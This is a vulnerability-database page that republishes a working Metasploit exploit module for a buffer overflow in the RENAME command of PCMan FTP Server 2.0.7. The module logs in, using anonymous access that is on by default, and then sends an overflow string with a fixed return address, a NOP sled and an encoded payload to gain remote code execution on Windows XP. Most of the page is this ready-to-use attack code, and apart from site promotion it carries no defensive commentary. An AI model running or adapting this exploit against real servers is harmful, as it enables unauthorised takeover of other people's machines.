Lucene search
K

PCMan FTP Server 2.0.7 - RENAME Command Buffer Overflow (Metasploit)

🗓️ 25 Apr 2016 00:00:00Reported by Jonathan SmithType 
zdt
 zdt
🔗 0day.today👁 25 Views

PCMan FTP Server 2.0.7 - RENAME Command Buffer Overflow exploi

Code
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
## Original Exploit Information ##
# Date:  29 Aug 2015
# Exploit Author: Koby
# Tested on: Windows XP SP3
# Link: https://www.exploit-db.com/exploits/38013/
 
## Software Information ##
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Version: 2.0.7
 
## Metasploit Module Information ##
# Date:  16 April 2016
# Exploit Author: Jonathan Smith
# Tested on: Windows XP SP2
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
 include Msf::Exploit::Remote::Ftp
 
 def initialize(info = {})
 
 super(update_info(info,
 
    'Name' => 'PCMan RENAME overflow',
 
    'Description' => 'This module exploits a buffer overflow in the RENAME command of PCMAN FTP Server 2.0.7. This requires authentication but anonymous credentials are enabled by default.',
 
    'Author' => [ 'Metasploit module author: Jonathan Smith. Vulnerability originally discovered by Koby on 29 August 2015. Metasploit module developed 16 April 2016.'],
 
    'Version' => '$Revision: 1 $',
 
    'Platform' => ['win'],
 
    'Targets' => [ [ 'Windows XP SP2', { } ],],
 
    'DefaultTarget' => 0,
 
    'License' => GPL_LICENSE,
 
    'Payload' => {'BadChars' => "\x00\x0a\x0d"},
 
    'DefaultOptions' => {'EXITFUNC' => 'process'}
 
 ))
 
 end
 
def exploit
 
 connect_login
 
 exploitcode = "A" * 2004 + "\x65\x82\xA5\x7C" + make_nops(30) + payload.encoded
 
 send_cmd( ['RENAME', exploitcode] , false )
 
 disconnect
 
 end
 
end

#  0day.today [2018-03-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation